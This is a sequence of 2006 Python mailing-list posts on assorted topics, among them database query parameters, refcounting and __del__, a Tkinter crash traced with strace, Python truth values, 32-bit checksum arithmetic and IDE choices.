get to all that, I just need some advice for how to structure the check 
of the empty string.

Thanks again.


From rdharles at gmail.com  Mon Oct 16 15:38:17 2006
From: rdharles at gmail.com (rdharles at gmail.com)
Date: 16 Oct 2006 12:38:17 -0700
Subject: string splitting
In-Reply-To: <mailman.592.1161026566.11739.python-list@python.org>
References: <1161025958.201815.174020@m73g2000cwd.googlegroups.com>
	<mailman.592.1161026566.11739.python-list@python.org>
Message-ID: <1161027497.471846.283560@m73g2000cwd.googlegroups.com>

Much thanks for your replies hiaips & Simon!
R.D.



From joncle at googlemail.com  Fri Oct 20 16:23:50 2006
From: joncle at googlemail.com (Jon Clements)
Date: 20 Oct 2006 13:23:50 -0700
Subject: curious paramstyle qmark behavior
In-Reply-To: <1161374817.671583.175910@i3g2000cwc.googlegroups.com>
References: <1161374817.671583.175910@i3g2000cwc.googlegroups.com>
Message-ID: <1161375830.733818.99070@i42g2000cwa.googlegroups.com>


BartlebyScrivener wrote:

> With
>
> aColumn = "Topics.Topic1"'
>
> The first statement "works" in the sense that it finds a number of
> matching rows.
>
> c.execute ("SELECT Author, Quote, ID, Topics.Topic1, Topic2 FROM
> QUOTES7 WHERE " + aColumn + " LIKE ?", ("%" + sys.argv[1] + "%",))
>
> I've tried about 20 different variations on this next one. And it finds
> 0 records no matter what I do. Is there some violation when I use two
> qmarks?
>
> c.execute ("SELECT Author, Quote, ID, Topics.Topic1, Topic2 FROM
> QUOTES7 WHERE ? LIKE ?", (aColumn, "%" + sys.argv[1] + "%"))
>
> I'm using mx.ODBC and Python 2.4.3 to connect to an MS Access DB.
>
> Thank you,

At a guess; it's probably translating the first '?' (the one after the
WHERE) as a string literal: so your query string is effectively "select
<fields> from <table> where 'somestring' like '%<sys.argv[1]>%'".

I would try re-writing it like:
c.execute("select <fcolumns> from <table> where %s like ?" % aColumn,
"%" + sys.argv[1] + "%")

I don't use mx.ODBC, and definately don't use Access (gagging sounds...
but if you're stuck with it, so be it)...

hth,

Jon.



From nogradi at gmail.com  Wed Oct 18 13:25:22 2006
From: nogradi at gmail.com (Daniel Nogradi)
Date: Wed, 18 Oct 2006 18:25:22 +0100
Subject: How to execute a linux command by python?
In-Reply-To: <eh5gcq$s9c$1@sea.gmane.org>
References: <a34765230610180737t768b20d5q224adef6fd3fb301@mail.gmail.com>
	<eh5gcq$s9c$1@sea.gmane.org>
Message-ID: <5f56302b0610181025l7faff4a6w3f8f3058c89256b3@mail.gmail.com>

> > How to execute a linux command by python?
> > for example: execute "ls"  or "useradd oracle"
> > Who can help me?
>
> start here:
>
>      http://www.python.org/doc/lib/
>

And continue here:

http://www.python.org/doc/lib/os-process.html


From hat at se-126.se.wtb.tue.nl  Fri Oct 20 08:38:06 2006
From: hat at se-126.se.wtb.tue.nl (A.T.Hofkamp)
Date: Fri, 20 Oct 2006 14:38:06 +0200
Subject: python under the hood
References: <1161345457.021410.306910@m73g2000cwd.googlegroups.com>
Message-ID: <slrnejhgpe.e2.hat@se-126.se.wtb.tue.nl>

On 2006-10-20, tpochep at mail.ru <tpochep at mail.ru> wrote:
> Hello.
>
> Is there any good information about python's internals and semantic? I
> mean "under the hood".

Not exactly 'under the hood', but very close is the Python/C API.
You can learn a great deal by reading the Extending&Embedding manual as well as
the Python/C API reference manual.

> Unfortynatly, I'm too lazy to read python's source code :) (and I
> guess, it's not very easy :) )

After the above, some parts should be familiar. The functions in the Python/C
API are also being used inside Python.

I also found the source code pretty understandable, although I read only a
small part of it.

Albert


From fredrik at pythonware.com  Mon Oct 30 02:07:27 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 08:07:27 +0100
Subject: beginner's refcount questions
In-Reply-To: <87odru4pc2.fsf@arcor.de>
References: <87odru4pc2.fsf@arcor.de>
Message-ID: <ei48bg$vjv$1@sea.gmane.org>

Jens Theisen wrote:

> Thus, the following code
> 
> class Foo:
>     def __del__(self):
>         print "deled!"
> 
> def foo():
>     f = Foo()
> 
> foo()
> print "done!"
> 
> prints
> 
> deled!
> done!
> 
> and not the other way round.

the behaviour you see in this simple program is not guaranteed by the 
language specification, and even trivial modifications to your program 
may cause trouble even under a reference-counting implementation of 
Python.  for example,

class Foo:
     def __del__(self):
         print "deled!"

def foo():
     f = Foo()
     i = open("file.txt")
     return i.readline()

try:
     foo()
except IOError:
     pass
print "done!"

prints

done!
deled!

> In c++, this is a central technique used for all sorts of tasks,
> whereas in garbage collected languages it's usually not available.

Python is not C++.  if you want to do controlled resource management, 
you need to use "try/finally" or "with".

> Is there a reason not to rely on this in Python? For example, are
> there alternative Python implementations that behave differently?  Or
> some other subtle problems?

http://www.effbot.org/pyfaq/how-does-python-manage-memory.htm
http://www.effbot.org/pyfaq/my-class-defines-del-but-it-is-not-called-when-i-delete-the-object.htm

</F>



From hg at nospam.com  Fri Oct 13 15:26:45 2006
From: hg at nospam.com (hg)
Date: Fri, 13 Oct 2006 14:26:45 -0500
Subject: wing ide vs. komodo?
In-Reply-To: <mailman.480.1160767168.11739.python-list@python.org>
References: <2nRXg.108$1n3.2866@news.tufts.edu>
	<mailman.480.1160767168.11739.python-list@python.org>
Message-ID: <tURXg.27343$Go3.5193@dukeread05>

Theerasak Photha wrote:
> On 10/13/06, John Salerno <johnjsal at nospamgmail.com> wrote:
> 
>> Komodo, on the other hand, seems to have more of the features that the
>> personal version of Wing IDE lacks (call tips, class browser, etc.) but
>> the look of it seems very sparse for some reason.
> 
> But that's really a good thing.
> 
> -- Theerasak


I'm really interested: my *small* company is ready to spend the ~300$ in
the process, but Komodo looks _very_ sparse.

How do you go about it? ... I have resources to look at it for one or
two days.

hg


From peter.maas at somewhere.com  Sat Oct  7 06:59:58 2006
From: peter.maas at somewhere.com (Peter Maas)
Date: Sat, 07 Oct 2006 12:59:58 +0200
Subject: n-body problem at shootout.alioth.debian.org
In-Reply-To: <1160213112.144420.90400@m7g2000cwm.googlegroups.com>
References: <eg6bku$59b$1@online.de>
	<mailman.1476.1160167145.10491.python-list@python.org>
	<1160168050.069336.61710@i3g2000cwc.googlegroups.com>
	<1160200171.328938.158800@i42g2000cwa.googlegroups.com>
	<1160213112.144420.90400@m7g2000cwm.googlegroups.com>
Message-ID: <eg81bt$m2e$1@online.de>

bearophileHUGS at lycos.com wrote:
>> You might also put the outer loop calling function advance so many
>> times, into the advance function:
> 
> Remember that the autors of the Shootout refuse some changes to the
> code (like this one), to allow a fair comparison. The rules are strict.

I'm only aware of the rule that the language has to be used "as-is", e.g.
you must not encapsulate time-critical parts in a C extension and announce
the result as "fast Python".

To put the outer loop inside a function is a degree of freedom which is
available in every language so should be allowed in a shoot-out. The global
arrays in the Perl program are on the same track.

-- 
Regards/Gruesse,

Peter Maas, Aachen
E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64')


From PengYu.UT at gmail.com  Sat Oct 21 18:17:47 2006
From: PengYu.UT at gmail.com (PengYu.UT at gmail.com)
Date: 21 Oct 2006 15:17:47 -0700
Subject: print dos format file into unix format
Message-ID: <1161469067.180921.35200@i3g2000cwc.googlegroups.com>

Suppose I have a dos format text file. The following python code will
print ^M at the end. I'm wondering how to print it in unix format.

fh = open(options.filename)
for line in fh.readlines()
  print line,

Thanks,
Peng



From quentel.pierre at wanadoo.fr  Thu Oct 12 15:25:21 2006
From: quentel.pierre at wanadoo.fr (Pierre Quentel)
Date: 12 Oct 2006 12:25:21 -0700
Subject: paseline(my favorite simple script): does something similar exist?
In-Reply-To: <1160678742.899863.11760@c28g2000cwb.googlegroups.com>
References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com>
Message-ID: <1160681121.378474.21920@i42g2000cwa.googlegroups.com>

Hi Rick,

Nice little script indeed !

You probably mean
>         trans = xlat.get(f,None)
instead of
>         trans = xlat.get(f,'None')

in the case where an invalid format character is supplied. The string
'None' evaluates to True, so that trans(words[i]) raises an exception

A variant, with a list comprehension instead of the for loop :

def parseline(line,format):
    xlat = {'x':None,'s':str,'f':float,'d':int,'i':int}
    result = []
    words = line.split()
    result = [ xlat[f](w) for f,w in zip(format,words)
        if xlat.get(f,None) ]
    if not result: return None
    if len(result) == 1: return result[0]
    return result

Regards,
Pierre



From mail at microcorp.co.za  Wed Oct  4 08:12:40 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Wed, 4 Oct 2006 14:12:40 +0200
Subject: Python/Tkinter crash.
References: <025f01c6e78f$f2d62d60$03000080@hendrik>
Message-ID: <033e01c6e7ae$8724cee0$03000080@hendrik>

Not talking to myself - Added results of strace run at bottom....

"Hendrik van Rooyen" <mail at microcorp.co.za> wrote:

> Hi,
>
> I get the following:
>
> hvr at LINUXBOXMicrocorp:~/Controller/lib> python display.py
> UpdateStringProc should not be invoked for type font
> Aborted
>
> and I am back at the bash prompt - this is most frustrating, as there is no
> friendly traceback to help me guess where its coming from.
>
> And what is worse, the script runs for a varying time before it simply exits
> like this.
>
> What can I do to dig deeper to try to find a clue? - I don't even know if its
> Python, Tkinter or Linux...
>
> Some background:
>
> The application is a prototype gui for a controller of an injection moulding
> machine.
> It has two rows of five buttons across the top, and a canvas containing
various
> objects over the rest of the screen.
> Extensive use is made of configure to change the text of the buttons, as well
as
> their command bindings,
> to keep "the state of the system" current - its quite a hack at this time, as
I
> am still experimenting with getting the interface intuitive.
> On the canvas, there are multiple instances of a Meter class to show things
like
> temperatures and pressures,
> as well as a schematic representation of the machine, created out of polygons
> and lines.
> The schematic, as well as the Meters, are crudely animated by deleting and
> redrawing the objects repetitively with slightly different parameters in
> response to button presses. This is done by starting different threads to
> implement the various motions, which repetitively call kill and draw methods
in
> the main app, after which they (the threads) commit seppoku by returning.
>
> Everything seems to work fine. - there is a thread that runs to move the meter
> values around continuously, and this has been stable for some time now, and I
> can get the various "machine" parts to move around the screen by pushing the
> buttons.
> The trouble occurs when I put the "machine" into Auto mode, simulating the
> various motions in a loop, - it runs for anything from a few tens to a few
> hundreds of cycles before handing in its dinner pail like this.
>
> Any Ideas on what to do next to find the culprit?
>
> - Hendrik

Ran it with strace - here is last bit of log:

write(3, "<\30\2\0\35\0\300\2<\0\2\0\34\0\300\0027\0\7\0\34\0\300"..., 68) = 68
select(4, [3], [], [], {0, 0})          = 0 (Timeout)
gettimeofday({1159960306, 369206}, {4294967176, 0}) = 0
futex(0x807b908, FUTEX_WAKE, 1)         = 0
futex(0x80bad48, FUTEX_WAKE, 1)         = 0
write(3, "5\30\4\0N\0\300\2 \0\300\2r\2\220\0F\0\5\0N\0\300\2\23"..., 900) = 900
gettimeofday({1159960306, 371171}, {4294967176, 0}) = 0
select(4, [3], [], [], {0, 0})          = 0 (Timeout)
gettimeofday({1159960306, 371386}, {4294967176, 0}) = 0
futex(0x807b908, FUTEX_WAKE, 1)         = 0
select(0, NULL, NULL, NULL, {0, 20000}) = 0 (Timeout)
futex(0x80bad48, FUTEX_WAIT, 0, NULL)   = 0
futex(0x80bad48, FUTEX_WAKE, 1)         = 0
write(3, "<\30\2\0\34\0\300\2<\0\2\0\35\0\300\0027\0\7\0\35\0\300"..., 68) = 68
select(4, [3], [], [], {0, 0})          = 0 (Timeout)
gettimeofday({1159960306, 396232}, {4294967176, 0}) = 0
futex(0x807b908, FUTEX_WAKE, 1)         = 0
futex(0x80bad48, FUTEX_WAKE, 1)         = 0
write(3, "5\30\4\0N\0\300\2 \0\300\2r\2\220\0F\0\5\0N\0\300\2\23"..., 900) = 900
gettimeofday({1159960306, 398381}, {4294967176, 0}) = 0
select(4, [3], [], [], {0, 0})          = 0 (Timeout)
gettimeofday({1159960306, 398597}, {4294967176, 0}) = 0
futex(0x807b908, FUTEX_WAKE, 1)         = 0
select(0, NULL, NULL, NULL, {0, 20000}) = 0 (Timeout)
futex(0x80bad48, FUTEX_WAIT, 0, NULL)   = 0
futex(0x80bad48, FUTEX_WAKE, 1)         = 0
futex(0x807b908, FUTEX_WAIT, 0, NULL)   = 0
write(3, "7\30\5\0\21\0\300\2:\0\300\2\4\0\0\0\377\0\0\0", 20) = 20
select(4, [3], [], [], {0, 0})          = 0 (Timeout)
gettimeofday({1159960306, 420182}, {4294967176, 0}) = 0
futex(0x807b908, FUTEX_WAKE, 1)         = 0
futex(0x80bad48, FUTEX_WAIT, 0, NULL)   = 0
futex(0x80bad48, FUTEX_WAKE, 1)         = 0
write(3, "5\30\4\0N\0\300\0029\0\300\2\207\0\210\0F\0\5\0N\0\300"..., 708) = 708
gettimeofday({1159960306, 421944}, {4294967176, 0}) = 0
select(4, [3], [], [], {0, 0})          = 0 (Timeout)
gettimeofday({1159960306, 422168}, {4294967176, 0}) = 0
futex(0x807b908, FUTEX_WAKE, 1)         = 0
select(0, NULL, NULL, NULL, {0, 20000}) = ? ERESTARTNOHAND (To be restarted)
+++ killed by SIGABRT +++






From MonkeeSage at gmail.com  Sat Oct  7 20:25:15 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 7 Oct 2006 17:25:15 -0700
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <452846fe.0@entanet>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<mailman.1223.1159934114.10491.python-list@python.org>
	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>
	<mailman.1.1160189272.11739.python-list@python.org>
	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>
	<mailman.18.1160209645.11739.python-list@python.org>
	<1160241982.216511.281950@m73g2000cwd.googlegroups.com>
	<mailman.28.1160242710.11739.python-list@python.org>
	<1160262952.734016.306150@e3g2000cwe.googlegroups.com>
	<452846fe.0@entanet>
Message-ID: <1160267115.309599.26160@e3g2000cwe.googlegroups.com>



On Oct 7, 7:14 pm, Duncan Smith <buzz... at urubu.freeserve.co.uk> wrote:
> No.  The above constructs a list of keys and searches the list for the
> key, O(n).  "key in somedict" is a lookup, O(1).

My point wasn't in regard to implementation details, but in regard to
convenience methods. Obviously the sugary dict methods are tweaked for
the best performance (one would hope!), as would be sugary sequence
methods were they to be added. What I was wondering is why
dict.has_key() and get() are there but not list.has_index() and get().

Regards,
Jordan



From gagsl-py at yahoo.com.ar  Wed Oct 25 22:00:40 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 25 Oct 2006 23:00:40 -0300
Subject: question about True values
In-Reply-To: <ehp32i$u1$1@sea.gmane.org>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<17727.47016.632530.720950@montanaro.dyndns.org>
	<ehoqhe$6iq$3@sea.gmane.org> <ehp32i$u1$1@sea.gmane.org>
Message-ID: <7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar>

At Wednesday 25/10/2006 22:29, Terry Reedy wrote:

> >> the string class's "nil" value.  Each of the builtin types has such an
> >> "empty" or "nil" value:
> >>
> >>     string              ""
> >>     list                []
> >>     tuple               ()
> >>     dict                {}
> >>     int                 0
> >>     float               0.0
> >>     complex             0j
> >>     set                 set()
> >>
> >> Any other value besides the above will compare as "not false".
> >>
> >
> > And today's question for the novices is: which Python type did Skip miss
> > from the above list?
>
>more that one:
>
>0L
>decimal.Decimal(0) # is decimal.Decimal('0'), also
>u''
>array.array('c') # or any other typecode, I suspect, without initializer

Just for fun:
buffer('')
frozenset()
iter(())
xrange(0)

-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From peter.maas at utilog.de  Sun Oct  8 17:49:05 2006
From: peter.maas at utilog.de (Peter Maas)
Date: Sun, 08 Oct 2006 23:49:05 +0200
Subject: New-style classes slower than old-style classes? (Was: n-body
	problem at shootout.alioth.debian.org)
In-Reply-To: <egbnto$unt$1@online.de>
References: <eg6bku$59b$1@online.de>
	<61JVg.138429$_J1.903927@twister2.libero.it>
	<eg90ip$uds$1@online.de>
	<gqXVg.139277$_J1.908863@twister2.libero.it>
	<4528633c$0$3249$afc38c87@news.optusnet.com.au>
	<egbnto$unt$1@online.de>
Message-ID: <egbroh$50i$1@online.de>

Peter Maas schrieb:
> 10000 runs of nbody.py, time in sec

Correction: 10000 iterations of advance().

-- 
Regards/Gruesse,

Peter Maas, Aachen
E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64')


From skip at pobox.com  Tue Oct 24 10:08:48 2006
From: skip at pobox.com (skip at pobox.com)
Date: Tue, 24 Oct 2006 09:08:48 -0500
Subject: Getting a lot of SPAM from this list
In-Reply-To: <ehl5mp$n7$1@sea.gmane.org>
References: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>
	<17725.8236.397367.923534@montanaro.dyndns.org>
	<ehl5mp$n7$1@sea.gmane.org>
Message-ID: <17726.7792.807568.497224@montanaro.dyndns.org>

    >> Get a better spam filter?

    Colin> Any suggestions for Firefox?

You can try SpamBayes (http://www.spambayes.org/).  It has both POP3 and
IMAP filters that sit between your mail client and mail server.  You control
and train them via a local web interface.

Skip



From msherman77 at yahoo.com  Tue Oct 31 20:56:31 2006
From: msherman77 at yahoo.com (Michael S)
Date: Tue, 31 Oct 2006 20:56:31 -0500 (EST)
Subject: report progress from C function
In-Reply-To: <1162336313.895048.202440@k70g2000cwa.googlegroups.com>
Message-ID: <20061101015631.33414.qmail@web88313.mail.re4.yahoo.com>

> BTW, why did you rewrite in C rarher than using
> Pyrex?
I was not aware of pyrex. I didn't really mind doing
some C, it made me remember the syntax.

Thanks a lot. I did think that I could pack a function
address as a parameter.

--- John Machin <sjmachin at lexicon.net> wrote:

> Michael S wrote:
> > Good day all.
> >
> > I rewrote part of my program in C, it's a usually
> a
> > long task. I wanted to be able to report the
> progress
> > back to my python program. In  my module (in
> addition
> > to the function that performs the above-mentioned
> > task) there is a function that returns the
> variable,
> > indicating the progress. However I am not sure how
> to
> > call it. Once I call the C function that does the
> work
> > (it's a while loop that takes minutes sometimes) I
> > can't call that progress function.
> > Any ideas?
> >
> 
> What do you expect your "python program" to be doing
> between calls to
> the get_progress function?
> 
> Here's a sketch of one possible way of doing
> something useful: add the
> following 2 args to your C "does the work function":
> (1) Python function object to be called every n
> times around the while
> loop or every nth other event or every n
> milliseconds or whatever
> (2) n
> 
> BTW, why did you rewrite in C rarher than using
> Pyrex?
> 
> Cheers,
> John
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list
> 



From raNOsky at deveSPAMler.com  Sun Oct  1 13:40:35 2006
From: raNOsky at deveSPAMler.com (Giovanni Bajo)
Date: Sun, 1 Oct 2006 19:40:35 +0200
Subject: Is this a bug? Python intermittently stops dead for seconds
References: <32108776.1159713187905.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>
	<mailman.1046.1159714095.10491.python-list@python.org>
Message-ID: <efouie$vfi$1@nnrp.ngi.it>

Steve Holden wrote:

> I think you'll find that most programs that eat through memory in this
> way will exhibit pretty much the same behaviour. If you *know* your
> program isn't creating data cycles, just turn the GC off and rely on
> reference counting. That won't save you from paging when you
> eventually exhaust physical memory. Nothing can.

Even better, if you know that you're *creating* tons of objects without
creating many *discardable* cycles at the same, it's better to turn off GC
collection during loading, and only do a single pass (gc.collect()) when you
are done with the allocations.
-- 
Giovanni Bajo




From steve at holdenweb.com  Tue Oct 10 05:56:19 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 10 Oct 2006 10:56:19 +0100
Subject: Python component model
In-Reply-To: <4p14h4Fgk9jaU1@uni-berlin.de>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>	<7xlknotwuy.fsf@ruckus.brouhaha.com>
	<4p14h4Fgk9jaU1@uni-berlin.de>
Message-ID: <egfqmb$1ft$1@sea.gmane.org>

Diez B. Roggisch wrote:
> Paul Rubin schrieb:
> 
>>"Nick Vatamaniuc" <vatamane at gmail.com> writes:
>>
>>>Python does not _need_ a component model just as you don't _need_ a RAD
>>>IDE tool to write Python code. The reason for having a component model
>>>or a RAD IDE tool is to avoid writing a lot of boiler plate code.
>>
>>It's also so that applications written in differing languages can call
>>each other.
> 
> 
> Nope. Things like CORBA and COM do have that property, but e.g. the Java 
> beans spec has only a meaning inside the VM. Not sure about .NET, but I 
> can imagine there it's the same thing.
> 
Well the .NET component model is specifically designed to be 
cross-language, but that's a feature of .NET/mono rather than of the 
componenet framework. You are correct about Beans, though.

> All the languages he mentioned are statically typed, or the component 
> models themselves are. So the component model is basically needed (as 
> others also mentioned) to glue things together, to dynamize that - 
> whereas python is dynamic on the first hand, and actually lacks static 
> typing to infer component properties...
> 
Just the same, one can use IronPython to call components written in 
other languages. And, I believe, vice versa.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From bignose+hates-spam at benfinney.id.au  Wed Oct 25 22:25:35 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 26 Oct 2006 12:25:35 +1000
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<17727.47016.632530.720950@montanaro.dyndns.org>
	<ehoqhe$6iq$3@sea.gmane.org>
Message-ID: <87u01rke3k.fsf@benfinney.id.au>

Steve Holden <steve at holdenweb.com> writes:

> skip at pobox.com wrote:
> > Each of the builtin types has such an "empty" or "nil" value:
> > 
> >     string              ""
> >     list                []
> >     tuple               ()
> >     dict                {}
> >     int                 0
> >     float               0.0
> >     complex             0j
> >     set                 set()
> > 
> > Any other value besides the above will compare as "not false".
>
> And today's question for the novices is: which Python type did Skip
> miss from the above list?

Is it cheating if I read this page:

    <URL:http://docs.python.org/lib/truth.html>

-- 
 \       "I always wanted to be somebody. I see now that I should have |
  `\                              been more specific."  -- Lily Tomlin |
_o__)                                                                  |
Ben Finney



From istvan.albert at gmail.com  Wed Oct  4 11:31:47 2006
From: istvan.albert at gmail.com (Istvan Albert)
Date: 4 Oct 2006 08:31:47 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<45225A1C.8060106@v.loewis.de>
	<KGJUg.134415$_J1.895519@twister2.libero.it>
Message-ID: <1159975907.085831.44790@k70g2000cwa.googlegroups.com>

Giovanni Bajo wrote:

> I understand your point. OTOH, exactly because the tracker system is a far
> lesser importance, it's amazing there is *ever* a need to evaluate non-FLOSS
> solutions, when there are so many good free solutions around. Instead of

I think you are missing the point. Switching to a different tracker is
not such a big deal. Having a really good tracker is a big deal.

Trackers are all about usability.

Alas most open source projects suck at that while excel in
implementation and performance.

FWIW I'd rather have the PSF even pay for good quality tracker since
that benefits everyone rather than funding some obscure project that
only 1% of the programmers will use/heard of.

Istvan



From noway at sorry.com  Tue Oct  3 04:19:10 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Tue, 03 Oct 2006 08:19:10 GMT
Subject: Python to use a non open source bug tracker?
Message-ID: <22pUg.132825$zy5.1820633@twister1.libero.it>

Hello,

I just read this mail by Brett Cannon:
http://mail.python.org/pipermail/python-dev/2006-October/069139.html
where the "PSF infrastracture committee", after weeks of evaluation, recommends
using a non open source tracker (called JIRA - never heard before of course)
for Python itself.

Does this smell "Bitkeeper fiasco" to anyone else than me?
-- 
Giovanni Bajo




From sturlamolden at yahoo.no  Wed Oct 25 13:22:10 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 25 Oct 2006 10:22:10 -0700
Subject: unsigned 32 bit arithmetic type?
In-Reply-To: <mailman.1174.1161777956.11739.python-list@python.org>
References: <mailman.1162.1161769345.11739.python-list@python.org>
	<453F4A52.3050200@v.loewis.de>
	<mailman.1174.1161777956.11739.python-list@python.org>
Message-ID: <1161796929.965348.4950@e3g2000cwe.googlegroups.com>


Robin Becker wrote:
>
> > ULONG CalcTableChecksum(ULONG *Table, ULONG Length)
> > {
> > ULONG Sum = 0L;
> > ULONG *Endptr = Table+((Length+3) & ~3) / sizeof(ULONG);
> >
> > while (Table < EndPtr)
> > 	Sum += *Table++;
> > return Sum;
> > }

Is this what you want?

import numpy
def CalcTableChecksum(Table, Length=None):
   tmp = numpy.array(Table,dtype=numpy.uint32)
   if Length == None: Length = tmp.size
   endptr = ((Length+3) & ~3) / 4
   return (tmp[0:endptr]).sum()





as nx
type(nx.array([1,2,3],dtype=nx.uint32)[0])



> so effectively we're doing only additions and letting bits roll off the end.
>
> Of course the actual semantics is dependent on what C unsigned arithmetic does
> so we're relying on that being the same everywhere.
>
> This algorithm was pretty simple in Python until 2.3 when shifts over the end of
> ints started going wrong. For some reason we didn't do the obvious and just do
> everything in longs and just mask off the upper bits. For some reason (probably
> my fault) we seem to have accumulated code like
>
> def _L2U32(L):
>      '''convert a long to u32'''
>      return unpack('l',pack('L',L))[0]
>
>
> if sys.hexversion>=0x02030000:
>          def add32(x, y):
>              "Calculate (x + y) modulo 2**32"
>              return _L2U32((long(x)+y) & 0xffffffffL)
> else:
>          def add32(x, y):
>              "Calculate (x + y) modulo 2**32"
>              lo = (x & 0xFFFF) + (y & 0xFFFF)
>              hi = (x >> 16) + (y >> 16) + (lo >> 16)
>              return (hi << 16) | (lo & 0xFFFF)
>
> def calcChecksum(data):
>          """Calculates TTF-style checksums"""
>          if len(data)&3: data = data + (4-(len(data)&3))*"\0"
>          sum = 0
>          for n in unpack(">%dl" % (len(data)>>2), data):
>              sum = add32(sum,n)
>          return sum
>
> and also silly stuff like
>
> def testAdd32(self):
>      "Test add32"
>      self.assertEquals(add32(10, -6), 4)
>      self.assertEquals(add32(6, -10), -4)
>      self.assertEquals(add32(_L2U32(0x80000000L), -1), 0x7FFFFFFF)
>      self.assertEquals(add32(0x7FFFFFFF, 1), _L2U32(0x80000000L))
>
> def testChecksum(self):
>      "Test calcChecksum function"
>      self.assertEquals(calcChecksum(""), 0)
>      self.assertEquals(calcChecksum("\1"), 0x01000000)
>      self.assertEquals(calcChecksum("\x01\x02\x03\x04\x10\x20\x30\x40"), 0x11223344)
>      self.assertEquals(calcChecksum("\x81"), _L2U32(0x81000000L))
>    _L2U32(0x80000000L))
>
> where while it might be reasonable to do testing it seems the tests aren't very
> sensible eg what is -6 doing in a u32 test? This stuff just about works on a 32
> bit machine, but is failing miserably on a 64bit AMD. As far as I can see I just
> need to use masked longs throughout.
>
> In a C extension I can still do the computation exfficiently on a 32bit machine,
> but I need to do masking for a 64 bit machine.
> -- 
> Robin Becker



From ilias at lazaridis.com  Thu Oct 12 00:36:16 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 11 Oct 2006 21:36:16 -0700
Subject: Python component model
In-Reply-To: <mailman.351.1160626726.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<mailman.343.1160617110.11739.python-list@python.org>
	<1160618190.314729.236250@c28g2000cwb.googlegroups.com>
	<ca55a9900610111907l7e897261pd1e0929f0251b76e@mail.gmail.com>
	<mailman.347.1160621959.11739.python-list@python.org>
	<1160622943.197384.91340@m7g2000cwm.googlegroups.com>
	<mailman.351.1160626726.11739.python-list@python.org>
Message-ID: <1160627775.972642.14190@e3g2000cwe.googlegroups.com>

Robert Kern wrote:
> Ilias Lazaridis wrote:
> > Robert Kern wrote:
>
> >> No, he's just a troll that enjoys telling everyone what to do. Don't try to get
> >> him to contribute anything useful; it won't work.
> >
> > Mr. Kern! Seeing you working on such a seemingly excellent product, I
> > am really wondering about your tenor.
>
> I am confident that it is accurately aimed. Furthermore, I am confident that the
> record and the rest of this community will back me up on it. I've told you
> before that this community will not tolerate your bad behavior. How many times
> does this have to be demonstrated before you will leave?

Please stay in-topic

"
can you please inform me (and the interested readers) about the
persistency mechanism within traits:

http://groups.google.com/group/comp.lang.python/msg/8e89ed163b978fe2 
"



From ptmcg at austin.rr._bogus_.com  Sat Oct 21 14:38:32 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Sat, 21 Oct 2006 18:38:32 GMT
Subject: A Comparison Of Dynamic and Static Languiges
References: <1161455284.563900.320430@m7g2000cwm.googlegroups.com>
Message-ID: <IOt_g.294$GR2.283@tornado.texas.rr.com>

<atbusbook at aol.com> wrote in message 
news:1161455284.563900.320430 at m7g2000cwm.googlegroups.com...
> I'm doing a report on the speed of develipment and executionin varius
> programing langiuiges. write code for all these tasks in the languige
> of your choise if intrestied send code to atbusbook at aol.com.
>
> Task 1:
>  write a program that prints how many times you repeat all words in a
> file passed as a comand line
>  paramiter and from STDIN. with the output format being "\"%s\" word
> repeated %i times\n"
> Task 2:
>  write a comand line rpn calculator that has a syntax like forth with
> only floats; also it must have these and
>  only these operations +, -, *, /, ., .s, rot, dup, swap, pick, roll.
> . and .s are pop print and .s print stack in this
>  with a new line after each item and the top of the stack at the
> bottom.
>
> compiler info
>
> c#: mono 1.1.13.7
> perl: perl 5.8.8
> python: python 2.4.2
> ruby: ruby 1.8.4
>

yer dreemin sorry not intrestied due yer onn homework 




From stanc at al.com.au  Wed Oct 25 05:59:47 2006
From: stanc at al.com.au (Astan Chee)
Date: Wed, 25 Oct 2006 19:59:47 +1000
Subject: web-based SSH
Message-ID: <453F3593.5010203@al.com.au>

Hi,
I was looking for a web-based SSH client (something like
www.port42.com..but for some reason it doesnt work..can anyone verify
this)..does anyone know any other alternative to other websites that offer
this? If you're gonna scream 'security!security!' well, its for testing
purposes and the box im ssh-ing into is "expandable" and "disposeable"
Cheers




